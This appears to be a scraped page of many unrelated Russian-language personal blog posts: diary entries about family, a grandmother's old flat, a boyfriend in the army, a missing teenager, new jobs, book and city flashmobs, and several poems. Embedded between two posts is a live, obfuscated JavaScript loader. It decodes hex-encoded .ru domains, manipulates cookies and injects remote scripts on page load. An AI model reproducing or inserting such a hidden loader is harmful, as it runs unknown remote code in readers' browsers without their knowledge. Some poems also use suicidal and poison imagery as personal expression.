люблю, и больше не буду.

Ептааа, какая я крассииваяяя

Так круто накрасилась сейчас, вообщее, не могууу

а знаешь, почему я за тебя не переживаю, милая? этот мир был
устроен так, что каждый в конечном счёте получит то, чего заслуживает.
ты не веришь в собственное счастье, а мы с моей подругой
вселенной знаем, какое у тебя золотое сердце.

твоё спасение уже близко. держись.

новая жизнь. на старт. внимание.

марш

Во мне проснулся энерджайзер и вчера я успела съездить в свое самое любимое место на свете.

Дом есть дом. Это место всегда остается у нас в сердце и его нельзя ни выковырять, ни забыть, ни оставить.

Именно в этом доме, на втором этаже (там, где крытый балкон) я выросла. Здесь же вырос мой папа, моя тетя, мои сестры… Здесь умер мой дедушка и моя прабабушка.

Больше трех лет назад бабуля серьезно заболела и мы забрали ее к себе. Так как квартир в моем маленьком родном городе Синельниково у нас было две, одну решили продать. Выбор пал именно на ту, где бабушка и жила - стоит она дороже да и покупатель нашелся почти сразу.

Принять это мне было дико сложно. Помню, как плакала по ночам в подушку, успокаивая себя мыслями, что когда я стану большой и богатой ( :DD) , выкуплю эту квартиру обратно.

Я не раз возвращалась хотя бы на пару часиков чтобы поговорить со своей лучшей подружкой (к слову, она жила буквально этажом ниже, т.е. мой пол был ее потолком :) ) и ее братом, по совместительству и моим другом с самого детства. Столько всего у нас было, в этом самом дворе, мне словами не передать (еще бы, мы вместе с трех лет!) Вот только той же атмосферы уже было не вернуть. Родной город начинал казаться чужим.

Но вчера… Все было как раньше. Та же электричка, пусть старая, но такая хорошо знакомая с ранних лет, тот же мужчина, который продавал в ней газеты и голос которого хорошо врезался в мою память за все годы, любимый двор утопающий в зелени… Те же друзья… Серьезно, Серега как ходил, широко размахивая руками в 5 лет, 12, так и в 22 года ходит :D

Я даже не раз ловила себя на мысли, что вот надо подняться и сказать бабушке, что я пошла в магазин, или что я сейчас зайду к Ольке… Хоть и приятное чувство, эта ностальгия, но одновременно печальное.

Надеюсь, у меня еще будет возможность сюда вернуться, без этого места я - не я, и вчера мне это в очередной раз стало понятно)

"мам, я сегодня не приду. я у Лены

спокойной ночи"

ну как не любить эту семью

ударьте меня, ибо я глупая женщина, а он классный.

полночи просидел с компом, уснул, я еще обижалась. проснулись, смотрели футбол, смеялись, съели шоколадку, которую он дарил мне 2 года назад(а я так хранила). в итоге еще два часа возился с драйверами на компе.

и его фраза"тебе повезло, что у меня железные нервы", я ничего не смогла ответить кроме"я знаю"

в и н.

Хорошие мои, покидайте свой инстаграм в комменты, хочу больше фотографий чудесных людей в ленте с:
И мой держите заодно.

Какие ебанутые эти военные.

Вчера пришла к Роме буквально минут на 50, ибо потом мне нужно было успеть на автобус. Ребята позвонили, позвали. Жду. Прошло минут 15, его всё нет. Я попросила ребят позвонить ещё раз. Сказали, что за ним придут и он скоро будет. Хорошо. Жду. Прошло ещё 15 минут. Спросили, прихожусь я ему гражданской женой или кем ещё. Я сказала, что сестрой. Записали меня как Каржецкую, посещала брата (у них нельзя никого пускать, кроме родственников). А я всё ещё жду. Прошло ещё 5 минут. А мне через 20 минут уже надо валить. Звонит А. Я демонстративно разговариваю с ней по телефону и говорю: "не знаю, ждать мне или нет уже, всё равно через 20 минут уходить". Смотрю. Заходит. Ну ладно. Стоим, разговариваем, подходит парень и просит написать отзыв (в части есть книга отзывов). Если бы вы меня знали прям вообще лично, то я очень люблю поконфликтовать, высказать своё мнение, психую (особенно на преподов, прославилась этим в группе :D). И я подумала, а хули все всё хорошее пишут, напишу я свой отзыв. И написала: "всё хорошо, но ждать по 30-40 минут не очень хорошо". Рома повозмущался, ну я поржала, что через неделю уже никто и не вспомнит. Ну я ушла. Всё забыли.

Пишет утром Рома. Говорит, его за эту запись в книге отзывов выебали. Сказали, что я не хорошо поступила, а он должен был запретить мне такое писать. БЛЯТЬ, ЕСЛИ БЫ ВЫ ЗНАЛИ, КАКОЕ СЕЙЧАС У МЕНЯ ВОЗМУЩЕНИЕ. МНЕ СТОЛЬКО ВСЕГО ХОЧЕТСЯ СКАЗАТЬ ЭТИМ ЕБАНЫМ КОМАНДИРАМ. Во мне опять столько злости, что её некуда девать, и она выходит через слёзы.

И сегодня последние выходные, когда я смогу съездить к нему на КПП, ибо потом начнётся учёба, и я забуду, кто такой Рома вообще. И он мне говорит, что приезжать нельзя сейчас, пока этот командир не сменится. Сказал приезжай вечером. Охуительно. Чтобы я опять приехала в 6, ждала его 40 минут, а приехать на час, потому что в 7 уже будет ужин. Нахуй мне это надо. У меня истерика началась.

Снова поспала пару часов. Так что на чсик прилягу, после расскажу все впечатления.

Оставлю пару ключевых фраз:

Приводят к визажисту:

-А это невестка Алины!, - я вшоке, смеюсь:

-Ого, уже?

Визажист:

-А почему такие круги под глазами?

-Да я мало сплю.

-Или тёща доводит?

-Ахаха, нет.)

Что делать, пока жду ребят и при этом постаратья успокоиться? Фоткать удивительное небо.

Перед студией.

Вдох, выдох и пошла..

Вывела братку-братана-братишку ака Насильника в свет, ахах.)

Фотки мамы милого.)

Папенькины фотки:

Колхозан ведущий.

Пластмассовая, наигранная ведущая.

Интересно, что я там увидела или о чём подумала.)

Уровень белорусского телев идения. =\

Меня даже одарили шикарными подарками: ручкой и билетоком на слеюдующий тираж! Уровень!

Идёшь, чувствуешь себя ущербкой, показанной на ТВ, но после прочтения сообщений от брата милого- улыбаешься во все 32 зуба.

Мама милого тоже утешила..)

У меня- чужие бокалы, совсем не красивый шрифт, вечно зажатый, шифт.
«Лучше бы ты, конечно, не привыкала к таким улыбкам- почти оскалам, почти о скалы, почти ласкала, но спину держишь, лишь потому что штифт.»
Лучше бы ты молчала, когда кричала, когда кончала, когда сначала, чем фразы влёт.»
Я тебя, ей-богу, не приручала, хорошую- не включала, ни за что не ручалась, клялась бы, что не сторчалась – тем более, что мне это не идет.
У меня – чужая текила, вопросы о том как было, ну да – меня отпустило, почти простила, себя почти вырастила / растила ли?/, главное, что души не растлила, а хочешь поспорить- берись за нож. «Лучше бы не врала, что давно в порядке, что ненавидишь тех у кого там ****ки, солнце, клянусь, поставлю на подзарядку, сделаю все по-быстрому. Ты придешь?»
Ну откуда ты так умеешь все выворачивать, правду мою- вытаскивать и заначивать, больше совсем ничего для меня не значить и почему-то расплачиваться в кафе… Ну почему я чую твой вкусный бицепс и мне так отчаянно хочется застрелиться в первом же переулке…auto da fе?
…….
У меня не холодно, но по привычке я не дышу.
Лучше бы я, действительно… Но графомания- признак алкоголизма, я тебя - через время, ты меня - через призму, хватит со мной язвительно, я же редко о чем прошу.
От взгляда – прикуривать впору, далекий город, волосы вьются, падают волнами мне за ворот, от ворот - поворот, и мой выпад опять запорот… Как ты говорил в неприятностях- «Полный швах!»
Странно, я сплю – и ты мне совсем не снишься, понимаешь, совсем не видишься… даже в снах.
Лучше бы птицы. Лучше бы снились птицы. А так, кроме времени, ничерта.

Проверяй свой почтовый ящик, потому что я где-то там.

Обувая испанские сапожкИ, каждый день выходить встречать тебя на дорогу.
Девять жизней за то, чтобы не оставлять следы.
Девять – это еще не много.
Навязать рубашек на все одиннадцать лебедей, ночевать у могил крапиву курить исправно, хорошо разучиться ждать тех, кто нас совсем не любил.
И учиться прощать красиво.
Вот это главное?
……
Что мне тебе сказать?
Вырос во мне как флюс. Не избавлюсь- так утоплюсь.
(А воды боюсь- это плюс.)
Что мне тебе- отвар? Чтобы не так брало?
Что я тебе- угар?деточка?нло?

Что мне тебе сказать, ценный мой экземпляр…
Ветреный мальчик, порванный капилляр;
Душу всегда под замок. Нету замка? В футляр.

Что мне тебе еще – что мне тебя еще?
Сыты по горло. Официант, счет!
Дура и не лечусь? Нет, это не от чувств.
Хорошо бы тебе не сниться. Не умею, но научусь.
На осень старше, на мысль выше. Хвалю, хвалю.
Что тебе надо услышать?
Как я тебя люблю?

Вчера из уст мамы прозвучала такая фраза: "Вика вообще взяла все "самое лучшее" от бабушек и теть. Наивная, слишком добрая, обидчивая, чересчур восприимчивая, вечно ей всех жалко и за всех слишком сильно беспокоится". А правда ведь. Это список качеств, которые мешают жить. Бабушка в детстве увидела, как ее подруга (им было по шесть лет) утонула, и больше никогда не заходила в воду, а плыть на лодке долгое время было для нее настоящей пыткой. Несколько лет назад одна безмозглая дура, типичная представительница быдла, вся крутая и грозная, избила бабушку в больнице за то, что она храпит. Прямо ночью разбудила и избила по лицу. А на следующий день снова. И с тех пор бабушку не загонишь в больницы. Нет, она лежала там, когда ей требовалась операция, но она там вообще не спала и сбегала через пару дней со швами под расписку. Из-за какой-то твари бабушка сейчас отказывается от помощи врачей, когда она необходима. Но ладно. Бог той женщине судья. А еще бабушка слишком сильно беспокоится за нас всех. Она, как и я, перед сном молится за здоровье близких.

Другая бабушка, Люба, которой, к сожалению, нет уже шесть лет (вот-вот заплачу), тоже слишком сильно переживала за своих близких. Возможно, поэтому ее сейчас нет. С ней случился инсульт, когда она снова разволновалась, и если бы скорая была быстрее… И, знаете, иногда мне кажется, что я знаю, как умру. Если уже есть мелкие проблемы с сердцем, а я еще слишком много нервничаю, то мне страшно.

Это было предисловием. Правильно говорят, что не бывает чужой беды.

21 августа я увидела в "одноклассниках" заметку о пропаже мальчика. Я знаю, что меня читают девочки из Алтайского края, так, может быть, вы слышали. Мальчику было 14. Он бежал кросс в лагере недалекот от Бийска в жару 40 градусов. Он бежал вторым и бесследно исчез. Его искали десять дней, получается. Я поставила "класс" на заметку, чтобы она была в моей ленте, и по несколько раз в день заходила туда. Я перечитала тысячи комментариев, десятки версий случившегося. Несколько раз писали, что мальчика видели в другом городе. Правохранительные органы, поисковики и добровольцы буквально прочесали все леса в округе, каждый кустик. И вот сегодня я не нашла в своей ленте той заметки и испугалась. Ее удалили, а значит, мальчика нашли. Я зашла в группу поисковиков и увидела "Найден. Погиб". И так стало горько от этого. Очень много людей до последнего верили, что мальчик хотя бы жив. Я в том числе. Сейчас даже не нахожу слов. Когда я об этом узнала, я вышла из дома, и на глаза навернулись слезы. Его тело нашли в лесу в 3 км от дороги забега, и это очень странно. По предварительным данным, его сердце остановилось. Мне так жаль его семью, ибо 10 дней надежды и мучительных поисков закончились вот так… Мне жаль мальчика, потому что его жизнь только-только начиналась. Он подавал огромные надежды в спорте. Хуже всего, когда из жизни уходят дети и подростки, которые не успели пожить и увидеть все прелести этого мира.

Мы с моим младшим братом, которому четырнадцать, очень много ругаемся по пустякам, но сейчас я смотрю на это по-другому. Думаю: "Наглей, обзывайся, сиди целыми днями перед компьютером, только живи и будь рядом ". Я ведь его очень люблю, хоть он меня и бесит сильно. Какая я дура, снова плачу. Простите, что говорю это снова, но цените своих близких.

if pain was a color to paint on you,
your heart would be the color blue.

Он пишет: « Моя прекрасная нелюбовь, какая ты стала заносчивая, что ужас.)
Я книжки читая, забыл все, что звал тобой.»
Она отвечает: «Ясно» шифруя «Нужен».
Его Амстердам и ее заводной Париж ни разу еще не сходились в заветной точке,
Она говорит «Чем дальше, тем, знаешь ближе.
А ставок не надо. Тем более, если очных.»
Гранитные мостовые, как Млечный Путь, ведут в неизвестность, петляя узором трещин,
Когда-нибудь кончатся звездами.
Наверно.
Когда-нибудь.
«О Господи как я рада,
За стадо возможных женщин!»

Он пишет: «Мое проклятие и Соддом, когда ты в Эдем обратно? Твой старый Змей.»
Она отвечает: «Прости, меня ждет дурдом.
Но ром в одного без меня распивать не смей.»
Он злится: «Сорока, и этому ты дала?»
Клянется клянуть, притворяется нелюбимым.
Она ему врет, отражается в зеркалах,
Но если дотронуться станет обычным дымом.

До выхода абонента из строя –день,
До выхода из метро и того короче.
Он белыми наживую пришьет ее тень,
Она осторожно кроит себя после ночью.

Проснется когда, с похмельною головой,
Наощупь рукой обнаружит большую прорезь:
«Куда ты пойдешь теперь с эдакой ножевой?»

-Пожалуйста, ну представь же, что ты живой!…
И он, закрывая глаза, представляет море.

Вот, meine kleine, пускай по вене. Эти - к обеду и натощак.
Эти- имеют обыкновение спазм вызывать. Яды как-никак.
Вот тебе, kleine, цветная горстка, хочешь – запей /но вода не в счет/
Лучше, конечно, делить на порции. Горько естественно, как еще.

Прошлой весной замыкало клеммы, но ноябрит-то всегда сильней.
Так что рецепты обыкновенны- вот тебе яду, давись, но пей.
Что же касаемо антидота- будем надеяться, нет его.
Бестию можно в любого бота, главное- доза «чтоб от всего».

Кутайся глубже в высокий ворот, лечишься ядом- давай до дна.
Видишь, тобою гордится город -ты тут единственная. Одна.

а я ведь просто хотел любви

Весь день в голове крутится песенка "оранжевые дяди оранжевую тётю в оранжевую жопу оранжево ебут", ой, теперь и у вас тоже.

Скоро 1 сентября. Еще одно лето потрачено на непонятно что. Но я люблю осень, даже больше, чем лето. В ней больше жизни и эмоций. Осенью все начинается, та же учеба, новые сезоны сериалов и телепередач.

Я хочу много сил и энергии. Хочу многому нучиться, много читать и гулять.

Я желаю, чтобы этой осенью у всех сбылись их заветные мечты, даже самые нереальные.

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="8066", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

две недели назад яростно била себя в грудь ногой и кричала, что НУ УЖ НА ЭТОТ-ТО РАЗ Я ТОЧНО ОСТАНУСЬ НА ЭТОМ МЕСТЕ
сегодня ушла домой пораньше, открыто напиздев, что меня отпустила админ.
короче, думала, что никакие горы мне не страшны. оказалось, что гора с симпатичным названием "сформировавшийся коллектив" меня все-таки пугает. как, ну вот КАК выжить среди полчища мадам, которые работают давно, а вместе работают еще больше? давление и неприкрытое желание, чтобы я подстраивалась под них - угнетает, товарищи. мне должно быть все равно? мне должно быть все равно. но я так не могу.
плюсов 1 шт. - на работу я могу ходить пешком. минусов - херова гора. да, я перестаю ходить в кинчики, бары, прочие увеселительные заведения, перестаю тратить деньги на всякую бесполезную ерунду: хочу отдать деньги родителям. хочу заработать не только на это, но и на следующее лето, когда вернется Сережа (не улыбается мысль о том, шо придеца жить, ткскзать, на правах пиявки).
я маленький мерзкий слабый говнюк: з зарплата - малипусенькая, зато не трачусь на проезд. админ и коллектив - просто пиздец, зато не трачусь на проезд!!!))) )) ) охуительно. косяки, которые не мои, но приписываются мне (по недосмотру "стареньких") - обожаю! я ломаюсь между тем, чтобы уйти и снова полмесяца искать другую работу (совсем не обязательно лучше нынешней) и между тем, чтобы остаться.
все думаю принять приглашение в местный стриптиз-бар -_-

ЧТо? чтоблять? уже 30 августа ахиреть.. Все разъезжаются на учебу, по общагам, в дургие города… Так и моя катя уехала (Позовчера устроили последний день с девочками после чего отжигали в баре, было весело) много крутых фоток как всегдаа. Так что вот так проводили лето. А мне кажется что я еще не успела отдохнууть…. Сегодня целый день идет дождь, как же он надоел: (Хоть бы последние денььки тепло продержалось, так нет же.. бесит. Еще вчера у папы было день рождение, так что немного посидели, еще и вместе с любимым) папа ему даже водки налил :D Послезавтра уже поеду в город.. да и еще надо будет начинать искать работу, деньги то ведь нужны. очень надеюсь что найду.

Ну а теперь прощай летоо, буду скучать)

Когда ты столь скоро начинаешь испытывать какую то симпатию к новому человеку, то почему то чувствуешь себя виноватым. Или это только у меня? Почему мне неловко. Как будто память предаю. А еще я кажется разучилась флиртовать. Придется учиться заново. Странно все это. Надоело состояние неопределенности. Эй, ты там. Расставь уже все точки над і. Ты меня простил или гордость важнее того что ты называл любовью? А вообще хватит читать меня. Два года назад ты мне это обещал.

Кто-нибудь может выслать мне мопса почтой?

передали : destroya, greyoceans и una-mattina (спасибо)
передаю всем желающим
правила : выложить фотографию двух книг из коллекции (суть именно в том, чтобы это были печатные книги) и обосновать свой выбор; эстафету постить под тэгами "2 books" и "2 книги", чтобы было легче найти.

Если быть откровенно честной, то в моей коллекции нет книг которые я бы обязательно взяла в поездку/переезд. Или все или ничего. Зная мою маму, то это было бы все. Но правила есть правила.

1. Иностранка Сергей Довлатов

Потому что взяла бы любого Довлатова, простой жизненный с нотками светлой меланхолии. Он меня всегда не много успокаивает. Но так как флешмоб начался с идеи поездок/переезда, то Иностранка.

2. Тошнота Жан Поль Сартр

Все еще в процессе чтения, вернее в начальной стадии, потому и взяла бы. С надеждой, что это будет что-то вроде Записки из подполья Достоевского. Рефлексия, самокопание и эскалация боли, словно имманентное свойство экзистенциальной ситуации.

Доброе утро, lyndsy ! Спасибо, что следишь) Слежу взаимно :)

Вот, посмотрите, мужика нашла себе. Это мы с ним на его машине едем. А это мы в ресторане. А это он меня за ляжку лапает. Мужчина мой.

Нам лучше не видеться перед сном, отвернись, пожалуйста.

Иногда дни, проведенные вне дома, бывают очень классными. Вчера встретились с девочкой, с которой я познакомилась в твиттере три года назад, и с которой мы близко общаемся в сети уже около года. И вот наконец настал день, когда мы увиделись вживую, потому что теперь есть возможность, так как она поступила учиться в Москву! Не зря иногда говорят, что люди, которые находятся на расстоянии нескольких тысяч километров понимают тебя лучше, чем те, кто рядом. Так и вышло: на встрече не было ощущения скованности, тем более, что Нина позвала с собой свою одноклассницу, которая теперь тоже учится в столице. Мы смеялись так, как будто знакомы лет 10 (они вдвоем, кстати, столько и знакомы), пели bad blood и uptown funk на ВДНХ на виду у всех людей :D В общем, было весело.
Домой приехала в восьмом часу вечера, как раз в самую непогоду. И я до сих пор не могу перестать слушать новые песни 5sos, уж слишком запали в душу.

Вечером снова завязалась переписка с одногруппниками в конфе (я уже говорила, что у нас классный куратор, которая всех нашла, добавила, и мы уже все перезнакомились?). Правда, уже больше про тусовки и выпивку. В этот момент почувствовала себя белой вороной, потому что не так уж часто я и пью, да и если пью, то только в очень знакомой мне компании. А они все вроде как культурно и не очень бухают. Они уже поняли, что подружатся, типа алкоголь сближает, а я ни то, ни сё. Не знаю, как буду выкручиваться, когда предложат отметить начало учебного года или, когда надо будет идти на посвят. На который я, кстати, не знаю, идти вообще или нет. Потому что для меня это будет поздновато, забрать меня сможет только брат (если он еще приедет в Москву к тому времени), да и родители будут волноваться. И почему все в этом современном мире сходится на алкоголе?

но иногда накапливается всё и сразу и может показаться, что конец августа - это вообще конец.
потому что хуже чем парень-мудак может быть только латентный мудак. хуже, чем плохие воспоминания могут быть только приятные воспоминания, которые спустя время кажутся фальшью. " а когда ты брал мою руку, ты делал это не потому, что хотелось, а потому что так надо было? всё было фальшивым.. как же я могла так облажаться..". хуже, чем бывший парень, которого ты видишь каждый день на учебе может быть только тот, с кем у тебя отношения не закончились, а точнее, даже и не начинались, и он всё еще тебя за это ненавидит. хуже, чем девушка-враг может быть только девушка, когда-то тебя любившая, а потом вдруг переставшая это делать и затаившая тихую неприязнь к тебе, рвущуюся наружу, незаметную глазу, но непременно чувствуемую тобой.и хуже заканчивающегося августа может быть только август бесцельно прожитый и дающий начало новой пустоте.

на самом деле, это очень хорошее начало. и, честно, быть может, я переборщила со словом "пустота". потому что я не помню, когда в последний раз мне было пусто на душе. я принимаю всё, что происходит. и живу как-то иначе.

За последние две недели от катания на лонге пострадали уже три человека. Причем, это не какой-нибудь ушиб и не растяжение… У одного разрыв крестообразной и, если шишка не пройдет в течение некоторого времени, придется оперировать, у второй трещина в руке, у третьей вообще открытый перелом…

Насчет девчонки, у которой перелом… Это случилось той ночью, на найтрайде. Они, как обычно, катались по ночной Мск большой компанией, но тут появилось препятствие: стоки не были закрыты решетками из-за ремонта, в эти дыры заезжать нельзя, ибо колеса ни одной доски не смогут их спокойно проехать…
Вот, собственно, эти стоки:

И вот так, не заметив этого препятствия, девчонка (Юля) полетела с доски и неудачно приземлилась на руку…

У нас компания сразу скомплектовалась, сориентировались, узнали время посещения и адрес больницы, куда увезли Юлю, и разделились на группы, кто во сколько приедет… Девчонка держится молодцом, надеемся на скорейшее поправление.

Хотела написать здесь что-нибудь вдохновляюще-одухотворенное, но мысли сводятся только к одному: мой отпуск закончился.
Поэтому вот вам мой инстаграм. Если хотите подписаться или же посмотреть фото из Германии и моего французско-итальянского путешествия - милости прошу, всегда рада.

Это будет первое 1 сентября, когда мне не надо на учебу. Это 1 сентября вообще совершенно не такое. Пора привыкнуть, что жизнь уже не будет преждней. Пора.

Вот вам кадр со вчерашней вечерней прогулки. Armani, все дела. К. мне уже позвонила с приглашением на очередной осмотр города. Так что пошла собираться и, конечно же, скучать по дому я не намерена.

Для начала, хочу сказать всем спасибо за то, что откликнулись на предыдущий пост. Честно говоря, я сама не знала, какие там были темы.

Первая цифра - двенадцать. "Напишите письмо своим читателям. Поделитесь с ними своими воспоминаниями".

Забавно получается, ведь, по сути, каждый раз, когда я о чем-то здесь пишу, то делюсь своими воспоминаниями.

Сейчас вспомнила период на viewy, когда девочки слали друг другу письма. Сколько лет прошло с тех пор? Года два точно, не меньше.

Те, что я получала, лежат у меня вместе с письмами из Америки, Германии, Чехии. И это так здорово иметь возможность держать в руках открытку или тетрадный лист, исписанные человеком, которого ты никогда даже не видел. Разглядывать почерк, им понимать, что то, что там написано - лишь для тебя.

Может, я преувеличиваю, как всегда, но в этом есть какая-то своя магия. Да, и просто письма сближают.

Поэтому иногда очень хочется получить письмо, не зная о том, что тебе его даже отправили.

И немного отходя от темы. Я знаю, что не у всех сейчас в жизни хорошие периоды. И воспринимать их, как какой-то опыт может не каждый. Но я искренне надеюсь, что у всех все наладится. Будьте счастливы, ведь вы этого заслуживаете. Ведь, правда?

27 августа я первый раз за 25 лет курила кальян. С почином. Но так и не поняла в чем крутость этой штуки. Вот шоты, это да Отмечали мой юбилей, катались на лимузинчике и зависали под музычку. Это было шикарно. Песней вечера была - Ваня Попов "Буратино". Если не лень, слушканите, это реально атас. А потом во всю голосину пели нашу любимую Cher - Believe in life after love, бедный водитель, сколько ему приходится выслушивать пьяного караоке Потом завалились в танц бар, и продолжили там. Отбила ноги, до сих пор болят… Было весело, в след году надо будет повторить.

ИМЕННЫЕ ГОРОДА

Просматривая "самое новое"(!) как-то наткнулась на годный (!!) пост relliem с таким вот интересным флешмобом. Суть его состоит в том, чтобы подобрать по городу (руководствуясь любыми критериями, полагаю) на каждую букву твоего имени. Выглядит интересно, пожалуй так и сделаю. Каждый желающий может принять эстафету. Кстати, название я сама придумала (знаю, что хрень какая-то), так что с тэгами как-то уже сами разбирайтесь.

О сло - я вообще неровно дышу к скандинавским странам и городам в последнее время, так как прочла летом одну книгу норвежской писательницы и влюбилась во всю эту тему, да и при всей моей любви к мифологии, скандинавская - одна из самых привлекающих мой интерес (спасибо Толкину, что половину его легендариума оттуда надергал).

Л ьвов - таки да. Живу в Украине с самого рождения, целых 20 лет, а ни разу не была во Львове (проездом не считается): / Этим летом собиралась поехать, но подруга заупрямилась, в итоге были в Одессе. Львов - по-настоящему волшебное место. Там магия на каждом шагу, а также всякие вкусности.

Е реван - я бы с огромным удовольствием посмотрела на страны и столицы постcоветсткого пространства. В Армении можно эмоций получить больше, чем в той же Европе. Сам Ереван (судя по фотографиям и рассказам очевидцев) потрясающе красив, да и там практически из любой точки видно Арарат (мой личный сорт Одинокой горы и Эребора).

К ривой Рог - смейтесь-смейтесь: 'D Мой папа и его брат родились и выросли в Кривом Роге, а я с сестрой ездила туда по несколько раз в год к бабушке и дедушке, пока они не переехали к нам в Днепр. Столько потрясающих детских воспоминаний связано с этим городом, что когда ненароком забредаю в район старого бабушкиного дома во время поездки к родственникам, слезы на глаза наворачиваются.

С аламанка - должна была туда ехать вместе с университетской группой этим летом. С образовательной целью, конечно, никакого кутежа. Но из-за скачка доллара и евро поездка накрылась: / Надеюсь следующим летом всё получится C:<

А фины - вот так вот прозаично. Я думаю, есть такие города, где должен побывать каждый. Один из самых исторически важных городов мира - Афины. Вне всяких сомнений там есть на что посмотреть.

Н агоя - просто потому что в моём списке ещё не было азиатского города? И потому что я подумала о Сеуле только после того как написала Саламанка и об Осаке только после того как написала Осло?? И ещё потому что в Нагое точно есть на что посмотреть и можно многое узнать как об истории Японии, так и о её современной жизни??? И ещё там есть зáмок????

Д юссельдорф - тоже весьма интересный город. Папа там был несколько раз по работе. У меня даже футбоkка есть "I <З Düsseldorf". Но я уверена, что буду любить его ещё больше, когда увижу собственными глазами.

Р ио-де-Жанейро - вот это бомба. Я наверное умру от переизбытка эмоций и цветов, когда наконец попаду туда. Этот город СЛИШКОМ колоритный. Ну и кроме всего прочего, я ведь изучаю испанский, а вместе с тем - испаноговорящие страны, а португальский, на котором говорят в Бразилии - это тоже где-то близко, так что вот так.

А сунсьон - кто не знал, это столица Парагвая. Я сама не знала, пока мне не пришлось в том году писать о нём эссе. Суть состояла в том, что нужно было рассказать, как сильно я люблю Асунсьон и Парагвай. После моего исследования я поняла, что это таки далеко не самый худший вариант. Я исследовала достопримечательности и сама очень даже не против на них посмотреть. А ещё - приобщиться к парагвайской кухне.

Очень бесят люди, которые говорят не "последний раз", а "крайний". Мол, "последний" говорят, когда больше чего-то не будет. Что за бред? Какой дебил это придумал? Очень тупо звучит, ну правда. Первый раз мне что-то такое сказал Вова, и я вообще не поняла сначала, что он имел ввиду

Родители утром прилетели от брата, в обед уже уехали. Легла, поспала. Проснулась, а дои опустел. Совсем. И, как будто, потемнел. Села и расплакалась. А перед глазами момент, как папа стоит во главе стола и режет большой арбуз. По три кусочка: маме, себе и мне. А мы с мамой довольные сидим и жуем. И стол. Так давно хотела повернуть стол, но всегда обламывало. А сегодня втроем стелили новую скатерть(бзик у меня на скатерти), так же втроем со смехом его перетаскивали, ровняли, потом все дружно взвешивались на весах. А потом они уехали.

В жизни происходит каждый день куча всего, о чём раньше я написала бы тонну в этот блог, и, казалось мне, что я этого не делаю или потому что выросла из привычки, или традиционный первостепенный вид блоггинга исчерпывает себя не только в моём видении, или просто лень. Последний вариант был наиболее вероятен для меня всё это время. Если бы не ещё один фактор.

Испокон моих блоговых веков вьюви был моей уютной обителью. Настолько тёплой и атмосферной зоной комфорта, насколько таковой может быть интернет-платформа. Сейчас мне и в собственной жизни не уютно, какое тут может возникнуть желание написать душевное что-то на когда-то любимой странице..

Однако, как бы, мне ни казалось, давно не садилась я за новый пост, способность формулировать собственные чувства за лето вроде бы не потеряна.

Привет, блог, я тебя ещё не бросаю..) Потерпи чуть-чуть, я знаю, скоро я поймаю наш внутренний уют, и мы будем встречаться за чашкой чая на зелёном пледе с урбанистической романтикой в окне. Тадац.)

Удивительно, что все встающие передо мной картины прошлого обладают двумя свойствами. Они всегда дышат тишиной, это в них самое яркое, и даже когда в действительности дело обстояло не совсем так, от них всё равно веет спокойствием. Это беззвучные видения, которые говорят со мной взглядами и жестами, без слов, молча, и в их безмолвии есть что-то потрясающее, так что я вынужден ущипнуть себя за рукав и потрогать винтовку, чтобы не уступить соблазну слиться с этой тишиной, раствориться в ней, чтобы не поддаться желанию лечь, растянуться во весь рост, сладко отдаваясь безмолвной, но властной силе воспоминаний.
Мы уже не можем представить себе, что такое тишина. Вот почему она так часто присутствует в наших воспоминаниях. На фронте тишины не бывает, а он властвует на таком большом пространстве, что мы никогда не находимся вне его пределов. Даже на сборных пунктах и в лагерях для отдыха в ближнем тылу всегда стоят в наших ушах гудение и приглушенный грохот канонады. Мы никогда не удаляемся на такое расстояние, чтобы не слышать их. А в последние дни грохот был невыносимым.
Эта тишина — причина того, чтобы образы прошлого пробуждают не столько желания, сколько печаль, безмерную, неуемную тоску. Оно было, но больше не вернется. Оно ушло, стало другим миром, с которым для нас всё покончено.

[Э.М.Ремарк]

Я не хотела, весы сами показывают эту цифру, честно, я не причем!!! Мне велики даже самые маленькие джинсы, которые у меня есть.

значит так должно было быть

день рождение уже в среду :) я теперб коротко стриженая блондинка, хорошо это или плохо я не знаю, ХОТЯ ЭТО ПЛОХО !! женская пловина моих знакмых сказала что так лучше, а мужская что раньше было лучше. блябля. мои волосы; (

Теперь еще и в больницу нужно ехать…
За что все это?

Просыпаешься - а в груди горячо и густо.
Все как прежде - но вот внутри раскаленный воск.
